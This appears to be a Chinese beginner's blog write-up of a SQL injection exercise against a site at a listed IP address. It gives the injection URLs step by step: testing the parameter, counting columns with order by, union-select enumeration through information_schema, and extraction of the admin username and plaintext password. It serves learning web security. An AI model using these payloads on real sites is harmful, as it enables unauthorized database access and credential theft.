初学者的思路:
如果不慎点入进来看到在下的作业有不对的,或者更好的思路愿意分享,请随意评论.
首先,
SQL 注入的必须条件: 输入的内容是可以被程序执行的.
在满足 SQL 注入必须条件的情况下,
SQL 注入的原理: 将输入的内容拼接为新的 SQL 语句被程序执行, 返回需要的结果.
所以,
在起初拿到一个网站, 并不知道有没有 SQL 注入点的时候先找 SQL 注入点的明显特征,
可以使用 BurpSuite 工具对该网站的所有路径进行爬取, 找出那些具备 SQL 注入点的 url, 再进行下一步工作.
本次拿到的url:
用 BurpSuite 爬取一下,发现具备 SQL 注入特征的 url:
http://117.41.229.122:8003/?id=1
继续用BurpSuite扫描, 发现高危漏洞 SQL injection, 坐实了 SQL 漏洞.
在该地址尝试 SQL 注入点 #在 and 无法使用的时候可以使用本身就错误的值来报错#这个%23的作用: 其一是测试数据库属于什么库, Mysql, Oracle, 等等, 他代表的是#号, 测试是可以用的, 其二是因为如果程序员写程序时后面加了闭合符, 那就无法拼接 SQL 语句. 但这里并没有闭合符的作用.
http://117.41.229.122:8003/?id=1`%23
http://117.41.229.122:8003/?id=1.1%23
http://117.41.229.122:8003/?id=1 and 1=1%23
http://117.41.229.122:8003/?id=1 and 1=2%23
进一步证明了 SQL 注入点的存在, BurpSuite 诚不欺我!并且也证明了这个漏洞几乎没有做任何的过滤,连 and 都可以输入.
下一步需要看的就是此 SQL 注入属于什么类型,
用 order by 发现该表有几列
http://117.41.229.122:8003/?id=1.1 order by 2%23
用 select 1,2 看看是否存在回显 #显然我只学过回显=.=
http://117.41.229.122:8003/?id=1.1 union select 1,2%23
http://117.41.229.122:8003/?id=1.1 union select 1,version()%23
http://117.41.229.122:8003/?id=1.1 union select 1,user()%23
顺便得知:
用户:
maoshe@localhost
数据库:
Mysql 5.5.53 可以通过系统库 information_schema 来查询任何内容#因为 Mysql 数据库大于5
http://117.41.229.122:8003/?id=1.1 union select 1,group_concat(distinct table_name) from information_schema.tables where table_schema = database()%23
查出 4 张表
admin
dirs
news
xss
在这里要做一个阐述,其实按照正常逻辑,应该是先去知道库名,然后才是表名,但这里可以用 database() 来代替当前库名,在 php 等语言中, 会写明连接的当前库,当然,库名可以通过 http://117.41.229.122:8003/?id=1.1 union select 1,group_concat(distinct table_schema) from information_schema.tables%23 来证实该库中有 2 个库
information_schema
maoshe
机智的我肯定要一窥 admin 表中的内容
http://117.41.229.122:8003/?id=1.1 union select 1,group_concat(distinct column_name) from information_schema.columns where table_name = 'admin'%23
发现 3 列
id
username
password
#这一步其实并不需要这么多杂的sql语句, 但是为了能阐述清楚来龙去脉, 所以多打了一些,并不符合IT思维, 简约至上.
http://117.41.229.122:8003/?id=1.1 union select 1,group_concat(distinct id) from admin%23
就一个1
http://117.41.229.122:8003/?id=1.1 union select 1,username from admin t where t.id = '1'%23
得到admin
http://117.41.229.122:8003/?id=1.1 union select 1,password from admin t where t.username = 'admin'%23
得到hellohack
http://117.41.229.122:8003/robots.txt #=.=没有这个文件, BurpSuite 和 wwwscan 也没扫出来后台登录地址, 无奈, 就此作罢吧.
打赏我,让我更有动力~
© 2016 - 2022 掌控者 All Rights Reserved.